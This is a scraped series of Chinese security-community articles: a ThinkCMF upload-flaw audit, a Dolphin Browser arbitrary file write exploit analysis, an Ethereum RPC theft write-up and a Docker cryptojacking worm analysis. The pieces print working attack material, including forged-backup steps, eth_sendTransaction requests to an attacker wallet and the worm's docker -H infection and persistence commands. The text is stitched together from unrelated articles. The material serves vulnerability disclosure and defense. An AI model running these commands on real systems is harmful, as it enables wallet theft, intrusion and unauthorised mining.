if('' === $files){
$files = $_FILES;
}
if(empty($files)){
$this->error = '没有上传的文件！';
return false;
}
/* 检测上传根目录 */
if(!$this->uploader->checkRootPath($this->rootPath)){
$this->error = $this->uploader->getError();
return false;
}
/* 检查上传目录 */
if(!$this->uploader->checkSavePath($this->savePath)){
$this->error = $this->uploader->getError();
return false;
}
/* 逐个检测并上传文件 */
$info = array();
if(function_exists('finfo_open')){
$finfo = finfo_open ( FILEINFO_MIME_TYPE );
}
// 对上传文件数组信息处理
$files = $this->dealFiles($files);
foreach ($files as $key => $file) {
$file['name'] = strip_tags($file['name']);
if(!isset($file['key'])) $file['key'] = $key;
/* 通过扩展获取文件类型，可解决FLASH上传$FILES数组返回文件类型错误的问题 */
if(isset($finfo)){
$file['type'] = finfo_file ( $finfo , $file['tmp_name'] );
}
/* 获取上传文件后缀，允许上传无后缀文件 */
$file['ext'] = pathinfo($file['name'], PATHINFO_EXTENSION);
/* 文件上传检测 */
if (!$this->check($file)){
continue;
}
/* 获取文件hash */
if($this->hash){
$file['md5'] = md5_file($file['tmp_name']);
$file['sha1'] = sha1_file($file['tmp_name']);
}
/* 调用回调函数检测文件是否存在 */
$data = call_user_func($this->callback, $file);
if( $this->callback && $data ){
if ( file_exists('.'.$data['path']) ) {
$info[$key] = $data;
continue;
}elseif($this->removeTrash){
call_user_func($this->removeTrash,$data);//删除垃圾据
}
}
/* 生成保存文件名 */
$savename = $this->getSaveName($file);
if(false == $savename){
continue;
} else {
$file['savename'] = $savename;
}
/* 检测并创建子目录 */
$subpath = $this->getSubPath($file['name']);
if(false === $subpath){
continue;
} else {
$file['savepath'] = $this->savePath . $subpath;
}
/* 对图像文件进行严格检测 */
$ext = strtolower($file['ext']);
if(in_array($ext, array('gif','jpg','jpeg','bmp','png','swf'))) {
$imginfo = getimagesize($file['tmp_name']);
if(empty($imginfo) /* || ($ext == 'gif' && empty($imginfo['bits'])) */){//ThinkCMF NOTE 限制太严格，以防单页gif文件无法上传
$this->error = '非法图像文件！';
continue;
}
}
/* 保存文件 并记录保存成功的文件 */
if ($this->uploader->save($file,$this->replace)) {
unset($file['error'], $file['tmp_name']);
$info[$key] = $file;
} else {
$this->error = $this->uploader->getError();
}
}
if(isset($finfo)){
finfo_close($finfo);
}
return empty($info) ? false : $info;
}
这里对文件依次进行了检查，在文件处理处跟进通过dealFiles获取到原本的上传文件信息将文件赋给files，遍历files开始上传
调用check()对文件进行检查
可以发现对文件后缀的检查checkExt存在问题,直接返回的是文件后缀并未检查。如下图所示：
这时的后缀仍然为php,往下调用getSaveName生成保存的文件名filename并拼接后缀php后返回赋给$savename
往下继续看，虽然发现又对文件ext判断一次但是显然并无影响最终执行save()
回到UeditorController.class.php中，最后将上传成功后的文件路径信息返回。
**参考文章**
<https://xz.aliyun.com/t/6626>
<https://www.anquanke.com/post/id/189712> | 社区文章 |
# CVE-2017-17551：海豚浏览器任意文件写入漏洞分析
|
##### 译文声明
本文是翻译文章，文章原作者 BENJAMIN WATSON，文章来源：versprite.com
原文地址：<https://versprite.com/og/exploiting-dolphin-browser-backup-restore/index.html>
译文仅供参考，具体内容表达以及含义原文为准。
> 在2017年12月11日，VerSprite发布了如下关于Dolphin Browser（海豚浏览器）的漏洞报告。
## 一、前言
[漏洞报告](https://github.com/VerSprite/research/blob/master/advisories/VS-2017-001.md)
[VS-2017-001]安卓平台上的海豚浏览器在备份与还原功能处存在任意文件写入漏洞。
### CVE ID
CVE-2017-17551
### 开发商
Mobotap
### 影响产品
安卓版本低于12.0.2的海豚浏览器
### 漏洞细节
Android
12.0.2版本的海豚浏览器（由Mobotap厂商开发）日前曝出存在任意文件写入漏洞。漏洞发生在备份与还原功能处。如果浏览器从一个恶意备份文件中还原配置，漏洞就会被触发。此漏洞允许攻击者使用准备好的恶意可执行文件覆盖掉浏览器特定目录下的可执行文件。每当浏览器启动时，都会尝试从磁盘中运行恶意文件，从而执行攻击者的代码。
在这篇文章中，我们将会讨论此漏洞的具体细节，以及如何利用海豚浏览器在备份与还原功能处的漏洞。
## 二、攻击范围分析
我一直对各种其他厂家开发的[Android
浏览器](https://vimeo.com/180897496)十分感兴趣。因为他们开发了很多不同的功能。这些功能扩展了额外的攻击范围，甚至有可能导致高危漏洞的发生。比如说这次的主角–海豚浏览器，它有很多额外的功能可以去分析是否存在漏洞点。从某种意义上来说这给了攻击者更多的机会。
本次漏洞是在搜索[ZipInputStream](https://developer.android.com/reference/java/util/zip/ZipInputStream.html)和[ZipFile](https://developer.android.com/reference/java/util/zip/ZipFile.html)的API在这里是如何被使用的过程中发现的。在com.dolphin.browser.util.g类中包含了一个引用ZipInputStream类的方法。如下：
try {
v1_2 = new ZipInputStream(((InputStream)v3));
}
try {
File v0_6 = new File(this.b.getApplicationInfo().dataDir);
while(true) {
ZipEntry v2_1 = v1_2.getNextEntry();
if(v2_1 == null) {
break;
}
BufferedOutputStream v2_2 = new BufferedOutputStream(new FileOutputStream(new File(v0_6 + File.separator + v2_1.getName())));
IOUtilities.copy(((InputStream)v1_2), ((OutputStream)v2_2));
v2_2.flush();
v2_2.close();
v1_2.closeEntry();
}
}
对于这里处理的zip压缩文件，代码首先将其逐行读入，然后将app的data目录作为根目录，把zip文件写入到根目录下的一个新文件中。如果我们能够控制zip文件内容，这就可能会导致任意文件写入漏洞。现在，我们需要弄清楚这个功能是用来干什么的。在看完com.dolphin.util.g类后，我发现了其中一段更有趣的代码。
try {
label_129:
Log.e("BackupHelper", ((Throwable)v0));
throw new a(((Throwable)v0));
}
catch(Throwable v0_4) {
goto label_135;
}
这里浏览器在备份些什么？我马上跳转到AndroidManifest.xml并发现了以下Activity。
<activity android:configChanges="keyboard|keyboardHidden|orientation|screenSize" android:name="mobi.mgeek.TunnyBrowser.BackupRestoreActivity" android:theme="@android:style/Theme.NoTitleBar"/>
在浏览器的UI界面中搜索一阵之后，我找到了出现备份的地方。
好的，到现在为止我已经知道了一些有用的信息。在使用一遍这个备份与还原功能之后，我总结出了以下几点：
1. 浏览器配置可以存储，也可以被还原。
2. 备份文件存储的默认目录是在/storage/emulated/0。
3. 备份文件有一个自定义的文件扩展名->.dbk。
4. 备份可以不设置密码。
5. 备份文件名格式为[年:月:日:具体时间]。
6. 当你试着去还原备份的时候，浏览器总是会最先访问最近生成的备份文件。
我发现的最重要的信息就是：备份文件确实就是在上述未加任何过滤的代码中处理的zip压缩文件。这也就导致了任意文件写入漏洞的发生。
## 三、备份文件格式
### 3.1 加密
继续对备份文件进行逆向，很快发现备份文件是经过加密处理过的。当然了，加密必然有它的加密流程。浏览器加密备份文件分为以下俩种不同的情况：
1. 设置密码
2. 未设置密码
如果备份设置了密码，浏览器首先将密码与一个静态的密钥连接。将连接后的字符串进行哈希处理。最后，将哈希后的结果填充0x10个额外字节并传给SecretKeySpec()构造函数。如果没有设置密码，整个流程是一样的，除了在使用密码的地方使用了另一个静态密钥代替。
### 3.2 文件头部
备份文件还包含了一个自定义的文件头，它用来验证浏览器还原备份时所用的备份文件是否是由浏览器创建的合法备份。
0D00010F 01000000 00010000 [sig]
0D00010F是备份文件的标识符。文件头还包含一个在00010000后的签名。签名是使用和备份文件相同的加密过程生成的。
最后，我们用头部文件内容生成CRC校验和，并将它附在签名后。得到如下结构：
0D00010F 01000000 00010000 [sig] [checksum]
在浏览器还原备份时，它使用文件头部内容生成一个CRC校验和与头部签名后的校验和比较，如果它们不相等，则还原过程中止。
现在，我们已经知道如何去生成一个有效的备份文件。
生成过程：
1. 创建一个存放恶意代码的zip压缩文件。
2. 为zip文件添加文件头->D00010F 01000000 00010000 [sig]。
3. 添加头部校验和。
4. 加密压缩文件。
## 四、漏洞利用
在Android app中任意写入的文件与app包中包含的文件是等价的。当我想要写入文件并作为代码执行的时候，我通常会查找以下内容：
**DEX**
**JAR**
**ELF**
幸运的是，在海豚浏览器中找到了一个写入文件的好地方。
/data/data/mobi.mgeek.TunnyBrowser/files # ls -la
...
-rwxr-xr-x u0_a195 u0_a195 9496 2017-12-12 14:26 watch_server
$ file watch_server
watch_server: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /system/bin/linker, stripped
可以看到，这样一来，我们就可以很轻松地在备份文件中植入恶意代码，并覆盖掉watch_server，从而达到我们的目的。但是浏览器执行watch_server的方式是什么？又是什么时候执行呢？
### 4.1 watch_server
为了弄清楚watch_server在何时被执行，我需要调用Runtime.getRuntime().exec()在浏览器中搜索服务执行时间。通过这种方式我发现每次浏览器启动时，watch_server都会被执行。
### 4.2 POC
利用这次海豚浏览器中备份与还原功能处的漏洞的最大障碍就是用户交互需求。也就是说受害者必需还原一个我们所创建的恶意备份并写入SD卡。我还没有找到通过IPC（进程间通信）或者其他方法来触发还原进程。所以目前，唯一可以利用的就是控制选择哪一个备份文件。
1. 备份文件名格式为[年:月:日:具体时间]。
2. 当你试着还原备份的时候，浏览器总是默认访问最先生成的备份。
在还原进程结束后，浏览器会快速重启，我们的payload也得以执行。
./build.sh
[+] Building ... [!] //构建中…
[armeabi-v7a] Install : payload => libs/armeabi-v7a/payload
[+] Creating tmp.zip and injecting payload [!] //创建tmp.zip并注入payload
[+] Launching backup file format generation [!] //开始生成恶意备份文件
[+] Generating cipher [!] //开始密文生成
[+] key --> 95acde261f3e09d281498163958dd366 //密钥选择
[+] Building backup --> ./backup.dbk [!] //构建初始备份文件
[+] Encrypting and saving backup [!] //加密备份文件并保存
[+] Cleaning up [!]
[+] Pushing backup.dbk to the device [!] //将恶意备份文件传到目标设备
backup.dbk: 1 file pushed. 1.0 MB/s (13926 bytes in 0.014s)
[+] Waiting on restore process ... [!]
--------- beginning of system
--------- beginning of main
V/FlipperFlapper(14975): uid=10195(u0_a195) gid=10195(u0_a195) groups=1015(sdcard_rw),1028(sdcard_r),3003(inet),9997(everybody),50195(all_a195) context=u:r:untrusted_app:s0
<https://github.com/VerSprite/research/tree/master/exploits/VS-2017-001> | 社区文章 |
世界上有一群人，互联网对于他们来说就是提款机。
是的，过去是，现在更是，因为电子货币的出现，他们提款的速度变得更疯狂。
在2017年，我们的蜜罐监测到一起针对以太坊的全球大规模攻击事件，我们将其命名为以太坊“偷渡”漏洞。
通过该漏洞，黑客可以在没有服务器权限、没有keystore密码权限的情况下，转走钱包中的所有余额。
而如此严重的漏洞，1年前就在reddit.com被曝光有黑客在利用，并且最早可追溯到2016年的2月14号就有黑客通过此漏洞窃取到比特币：
（<https://www.reddit.com/r/ethereum/comments/4z0mvi/ethereum_nodes_with_insecure_rpc_settings_are/）>
近期也有中国的慢雾安全团队揭露了这种攻击手法：
（<https://mp.weixin.qq.com/s/Kk2lsoQ1679Gda56Ec-zJg）>
在长达2年的时间里，并没有多少用户关注到，以太坊也没有进行针对性的防护措施，直到今日，以太坊的最新代码中依然没有能够抵御这种攻击。
因此我们决定将我们所掌握的详细数据公布给所有人，希望能促使以太坊的开发者承认并修复该漏洞。
漏洞成因
（以下的代码分析基于<https://github.com/ethereum/go-ethereum的当前最新提交：commit>
b1917ac9a3cf4716460bd53a11db40384103e5e2）
以太坊目前最流行的节点程序（Geth/Parity ）都提供了RPC API，用于对接矿池、钱包等其他第三方程序。
默认情况下，节点的RPC服务是无需密码就可以进行接口调用，官方实现的RPC
API也并未提供设置RPC连接密码的功能，因此，一旦将RPC端口暴露在互联网，将会非常危险。
而我们所捕获的以太坊“偷渡”漏洞，正是利用了以太坊默认对RPC不做鉴权的设计。
被攻击的用户，需要具备以下条件：
节点的RPC端口对外开放
节点的RPC端口可直接调用API，未做额外的鉴权保护（如通过nginx等方式进行鉴权保护）
节点的区块高度已经同步到网络的最新高度，因为需要在该节点进行转账，如果未达到最高度，无法进行转账
当用户对自己的钱包进行了解锁（unlockAccount函数），在解锁超时期间，无需再输入密码，便可调用RPC
API的eth_sendTransaction进行转账操作。
漏洞的关键组成，由未鉴权的RPC API服务及解锁账户后有一定的免密码时间相结合，以下是解锁账户的unlockAccount函数：
代码路径：go-ethereum/internal/jsre/deps/api.go
通过函数的实现代码可见，解锁账户的api允许传入超时时间，默认超时为300秒，
真正进行解锁的函数TimedUnlock实现如下：
代码路径：go-ethereum/accounts/keystore/keystore.go
当传入的超时大于0时，会发起一个协程进行超时处理，如果传入的超时时间为0，则是永久不会超时，账户一直处于解锁状态，直到节点进程退出。
详细的用法参考官方文档：<https://github.com/ethereum/go-ethereum/wiki/Management-APIs#personal_unlockaccount>
攻击手法揭秘
1. 寻找对外开放以太坊RPC端口的服务器，确认节点已经达到以太坊网络的最高区块高度
黑客通过全球的端口服务扫描，发现RPC服务为以太坊的RPC接口时，调用eth_getBlockByNumber(‘last’,
false)，获取最新的区块高度。
但是由于有些以太节点是以太坊的分叉币，高度与以太坊的不一样，因此黑客即使发现节点高度与以太坊的高度不一样，也不会放弃攻击。
1. 调用eth_accounts，获取该节点上的所有账户。
eth_accounts的请求将返回一个账户地址列表：[0x1834axxxxxxxxxxxxxxxxxxxxxxxxxxx,
0xa13jkcxxxxxxxxxxxxxxxxxxxxxxxxxxx,…… ]
1. 调用eth_getBalance，查询地址余额。
这个过程黑客可在自己的服务器完成以太坊的余额查询，因为以太坊的区块链账本数据库是随意公开获取的。
有部分黑客没有搭建以太坊的全节点，没有自行查询余额，因此也会在被攻击服务器进行eth_getBalance操作。
1. 持续调用转账操作，直到刚好用户用密码解锁了钱包，完成非法转账操作的“偷渡”
黑客会构造eth_sendTransaction的转账操作，并填写余额、固定的手续费：
{“jsonrpc”:”2.0″,”id”:2,”method”:”eth_sendTransaction”,”params”:[{“from”:”受害者钱包地址1″,”gas”:”0x55f0″,”to”:”0xdc3431d42c0bf108b44cb48bfbd2cd4d392c32d6″,”value”:”0x112345fc212345000″}]}
{“jsonrpc”:”2.0″,”id”:2,”method”:”eth_sendTransaction”,”params”:[{“from”:”受害者钱包地址2″,”gas”:”0x55f0″,”to”:”0xdc3431d42c0bf108b44cb48bfbd2cd4d392c32d6″,”value”:”0x112345fc212345000″}]}
{“jsonrpc”:”2.0″,”id”:2,”method”:”eth_sendTransaction”,”params”:[{“from”:”受害者钱包地址3″,”gas”:”0x55f0″,”to”:”0xdc3431d42c0bf108b44cb48bfbd2cd4d392c32d6″,”value”:”0x112345fc212345000″}]}
其中的value的单位是以太的最小单位：wei，计算为以太的话需要除10的18次方：
> > > 0x112345fc212345000
> 19758522752314920960L
> 19758522752314920960L/1000000000000000000
> 19L
黑客会持续发转账操作，并定期监控余额变化，更新转账的金额，直到用户使用钱包，输入密码解锁了钱包，此时钱包余额会立即被转走。
快速漏洞测试
安装python的web3库，然后连接RPC端口，发起请求，如果获取到返回结果，便可能存在该漏洞。
参考：<http://web3py.readthedocs.io/en/stable/quickstart.html>
from web3 import Web3, HTTPProvider, IPCProvider
web3 = Web3(HTTPProvider(‘<http://ip:port’>))
print web3.eth.blockNumber
黑客解密及IOCs情报
黑客钱包
目前我们掌握了3个黑客的钱包收款地址，未转走的账户余额为2220万美金：
<https://etherscan.io/address/0x957cD4Ff9b3894FC78b5134A8DC72b032fFbC464，余额为38,076>
ETH（未统计erc20 token），最早进账为2016-2-14，最新进账为2018-3-21（当前还在持续入账）
<https://etherscan.io/address/0x96a5296eb1d8f8098d35f300659c95f7d6362d15，余额为321>
ETH（未统计erc20 token），最早进账为2016-8-10，最新进账为2017-11-28。
<https://etherscan.io/address/0xdc3431d42c0bf108b44cb48bfbd2cd4d392c32d6，余额为330>
ETH（未统计erc20 token），最早进账为2018-2-06，最新进账为2018-3-20。
黑客攻击源IP
146.0.249.87（德国黑森州法兰克福）
162.251.61.133（加拿大）
190.2.133.114（库拉索）
85.14.240.84（德国北莱茵）
目前大部分的黑客使用<https://github.com/regcostajr/go-web3进行频繁API请求，如果有看到大量user-agent为“Go-http-client/1.1”的POST请求时，请记录下请求内容，确认是否为恶意行为。>
紧急响应及修复建议
关闭对外暴露的RPC端口，如果必须暴露在互联网，请使用鉴权：<https://tokenmarket.net/blog/protecting-ethereum-json-rpc-api-with-password/>
借助防火墙等网络防护软件，封堵黑客攻击源IP
检查RPC日志、web接口日志，是否有异常大量的频繁请求，检查请求内容是否为eth_sendTransaction
等待以太坊更新最新代码，使用修复了该漏洞的节点程序 | 社区文章 |
**译者：知道创宇404实验室翻译组**
**原文链接：[https://unit42.paloaltonetworks.com/](https://unit42.paloaltonetworks.com/cetus-cryptojacking-worm/)**
## 摘要
自容器诞生以来，安全专家就将不安全的Docker daemons
称为主要威胁。我们最近还撰写了有关[Graboid（第一个Docker密码劫持蠕虫](https://unit42.paloaltonetworks.com/graboid-first-ever-cryptojacking-worm-found-in-images-on-docker-hub/)和[不安全的Docker
daemons）的文章](https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/)。我通过设置Docker
daemons蜜罐进行了进一步的研究，以研究在野外寻找普通Docker
daemons的情况，并了解由COVID-19导致的向云的转移是否增加了针对性云攻击的普及率和复杂性。
本文将详细介绍Cetus的发现，Cetus是针对Monero的一种新的和改进的Docker密码劫持蠕虫挖掘，可在我们创建的Docker
daemons蜜罐中找到。
## 蜜罐
为了进行研究，我设置了受限的Docker
daemons，并记录了5月份的所有流量。在这段时间里，我目睹了各种各样的攻击，从僵尸网络到蠕虫，一切都在进行，其中大多数是为了进行加密劫持，特别是对门罗币。
最常见的攻击之一引起了我的注意，因为它具有蠕虫的潜在特征。与其他攻击不同，蜜罐在这里受到来自许多不同的不安全Docker
daemons实例的攻击。根据我的honeypot部署和其他有关容器安全性的研究项目，看到蠕虫针对不安全的Docker
daemons的情况并不常见。我分析有效负载，并确定这是一个新的Docker蠕虫：恶意软件的每个实例都试图发现和感染本地网络和外部的其他Docker
daemons实例。
## Cetus如何运作
在希腊神话中，有一个关于鲸鱼样生物的故事，该生物看起来无害，但实际上是一个海洋怪物，无论到哪里都造成破坏。该生物的名字是塞图斯。由于该恶意软件针对Docker，并试图伪装成合法的二进制文件，因此我决定将其命名为Cetus。
Cetus通过伪装在Docker环境中经常使用的称为Portainer的合法二进制文件来伪装自己。[Portainer](https://github.com/portainer/portainer)是一个用户界面（UI）管理工具，它提供了一种方便的方法来管理多个Docker环境。在接管新机器时，Cetus将自己复制到受害者并部署[XMRig](https://github.com/xmrig/xmrig)
cryptominer有效负载。Cetus将加密矿工伪装成另一个称为docker
-cache的合法二进制文件。它看起来像合法名称，但与Portainer不同，它不是真正的二进制名称。
Cetus生命周期从两个功能开始：miner_start和scan_start，它们遵循此处所示的流程。
最后一步是使受害者创建一个Ubuntu容器，更新存储库，安装Masscan和Docker，复制Cetus和XMRig，通过.bash_aliases添加持久性，然后重新启动容器并运行Cetus。
图1. Cetus生命周期
感染机制简单有效。Cetus使用[Masscan](https://github.com/robertdavidgraham/masscan)随机扫描子网以查找Docker
daemons，一旦找到子网，它就会尝试通过将请求发送到守护程序的REST
API进行传播。为了增加侮辱性伤害，Cetus使用Docker命令行界面（CLI）工具精心设计了这些请求。
Cetus的攻击流程如图1所示。具体地说，Cetus运行的命令是：
* 检查守护程序是否可利用且未被感染：
docker -H <victim> ps -a
* 从Docker Hub 运行一个新的ubuntu：18.04容器：
docker -H <victim> run -dt --name <name> --restart always ubuntu:18.04 /bin/bash
* 更新程序包管理器列表：
docker -H <victim> exec <name> apt-get -yq update
* 通过软件包管理器安装Masscan和Docker：
docker -H <victim> exec <name> apt-get install masscan docker.io
* 将恶意的portainer和docker-cache二进制文件复制到容器中：
docker -H <victim> cp -L docker-cache <name>:/usr/bin/docker -H <victim> cp -L portainer <name>/usr/bin/
* 将Cetus添加到“ /root/.bash_aliases”。每当容器重新启动或root启动bash会话时，它将导致Cetus运行：
docker -H <victim> exec <name> bash --norc -c `echo /usr/bin/portainer <name> >/dev/null` 2>/dev/null &
* 重新启动容器以运行Cetus：
docker -H <victim> restart <name>
## 逆向工程Cetus
逆向工程Cetus简便快捷，因为它不使用任何反调试或混淆技术，甚至没有符号。矿工则不是这样。XMRig矿工是用于加密劫持攻击的最广泛使用的加密矿工之一，因此安全工具将其视为病毒。因此，为了在这次攻击中欺骗他们，将其完全模糊了，使反向工程过程变得更加困难。
此外，我们可以断定该恶意软件是新的，因为它使用了2020年2月2日发布的XMRig 5.5.3。
Cetus的体系结构很简单。它包含两个主要功能：
miner_start和scan_start。
“这里显示的代码如下：miner_start（）; while（1）{random =
rand（）;以及其他未在此处以明文形式复制的行。此代码启动了Cetus的两个主要功能。
图2. Cetus主要功能
miner_start函数很简单。它打开/var/log/stmp.log来记录Cetus的操作，然后运行XMRig
cryptominer，该工具利用机器的CPU来挖掘Monero。
函数scan_start更加有趣，它执行了恶意软件的核心功能。它选择一个随机的16位子网，然后运行Masscan以便在子网中扫描端口2375上的Docker
daemons。找到守护程序后，它将使用已下载的Docker CLI工具启动感染过程。
关于恶意软件的一个有趣的事情是，每次感染Docker
daemons时，它都会使用不同的名称调用容器。它有两个包含八个名称的列表，并且从每个列表中随机选择一个名称并将它们链接起来。
此图包含Cetus使用的名称示例，包括boorish_peristeronic，verdant_quire和limpid_oxter。
图3.恶意容器名称
然后Cetus将以名称作为参数运行矿工。矿工将使用此名称向[采矿池](https://en.wikipedia.org/wiki/Mining_pool)标识自己，并向[参与者](https://en.wikipedia.org/wiki/Mining_pool)发送有关采矿的信息。这将使攻击者可以对每个矿工进行分类，并通过挖掘池API创建有关矿工和活动的统计信息。
我们可以从此和日志机制得出结论，该蠕虫的操作员希望监视所有内容。
## 结论
随着攻击者了解云的潜力，针对恶意软件的容器将逐渐变得更加复杂。这是继Graboid之后由Unit
42记录的第二个Docker密码劫持蠕虫。此外，我们还能够将Cetus链接到[另一种](https://www.zdnet.com/article/crypto-mining-worm-steal-aws-credentials/)攻击AWS和Docker
daemons的[加密劫持蠕虫](https://www.zdnet.com/article/crypto-mining-worm-steal-aws-credentials/)，[这些蠕虫](https://www.zdnet.com/article/crypto-mining-worm-steal-aws-credentials/)使用与Cetus相同的Monero钱包地址。我们得出结论，对云进行复杂攻击的趋势正在增长。
运行[Prisma Cloud的](https://www.paloaltonetworks.com/prisma/cloud) Palo Alto
Networks客户可以通过Prisma Cloud Compute主机合规性保护免受此侵害，该警告会警告Docker
daemons配置不足，并提出解决方案。
这显示了Prisma Cloud主机警报的示例，警告Docker daemons配置不足-这个问题可能使Docker
daemons容易受到Cetus的攻击。
图4. Prisma Cloud主机警报
#### **IOC**
###### **档案**
文档名称 | SHA256
---|---
docker-cache |
e03cf2af46ad1fe590e63f0020243c6e8ae94f074e65ace18c6d568283343dac
docker-cache |
b49a3f3cb4c70014e2c35c880d47bc475584b87b7dfcfa6d7341d42a16ebe443
表1.恶意软件散列
#### **采矿信息**
###### **pool**
pool.minexmr.com:443
###### **付款地址**
85X7JcgPpwQdZXaK2TKJb8baQAXc3zBsnW7JuY7MLi9VYSamf4bFwa7SEAK9Hgp2P53npV19w1zuaK5bft5m2NN71CmNLoh
###### **容器名称**
baleful_gormmet
baleful_obelus
baleful_agelast
baleful_amatorculist
baleful_peristeronic
baleful_hirquiticke
baleful_oxter
baleful_quire
boorish_gormmet
boorish_obelus
boorish_agelast
boorish_amatorculist
boorish_peristeronic
boorish_hirquiticke
boorish_oxter
boorish_quire
adroit_gormmet
adroit_obelus
adroit_agelast
adroit_amatorculist
adroit_peristeronic
adroit_hirquiticke
adroit_oxter
adroit_quire
fecund_gormmet
fecund_obelus
fecund_agelast
fecund_amatorculist
fecund_peristeronic
fecund_hirquiticke
fecund_oxter
fecund_quire
limpid_gormmet
limpid_obelus
limpid_agelast
limpid_amatorculist
limpid_peristeronic
limpid_hirquiticke
limpid_oxter
limpid_quire
risible_gormmet
risible_obelus
risible_agelast
risible_amatorculist
risible_peristeronic
risible_hirquiticke
risible_oxter
risible_quire
verdant_gormmet
verdant_obelus
verdant_agelast
verdant_amatorculist
verdant_peristeronic
verdant_hirquiticke
verdant_oxter
verdant_quire
zealous_gormmet
zealous_obelus
zealous_agelast
zealous_amatorculist
zealous_peristeronic
zealous_hirquiticke
zealous_oxter
zealous_quire
* * * | 社区文章 |
最近研发了一套[企业建站系统](http://www.eyoucms.com
"企业建站系统")（eyoucms），基于tp5内核的eyoucms，不知这样设置目录权限有没有问题，主要基于web安全。感兴趣的可以下载测试一下，有想法欢迎反馈到我邮件：
[email protected] ，感谢各位大神。
1、application 目录权限（755），应用目录。
2、core 目录权限（755），内核框架。
3、data 目录权限（755），存放版本、缓存数据等。
4、extend 目录权限（755），扩展类库。
5、install 安装目录，建议网站上线之后立马删掉，避免带来安全隐患。
6、public 目录权限（744），存放(css/js)静态文件、第三方JS文件以及上传图片，涉及编辑器自动下载远程图片功能。
7、template 目录权限（755），前端模板存放目录，为了安全，建议设置拒绝写入权限（555），但同时会禁用模板在线编辑功能。
8、vendor 目录权限（755），资源包目录（可通过composer命令安装资源包）。
9、weapp 目录权限（755），插件应用中心。
欢迎大家给点建议，感谢！可以的话加个好友，外包一些安全问题。 | 社区文章 |
Subsets and Splits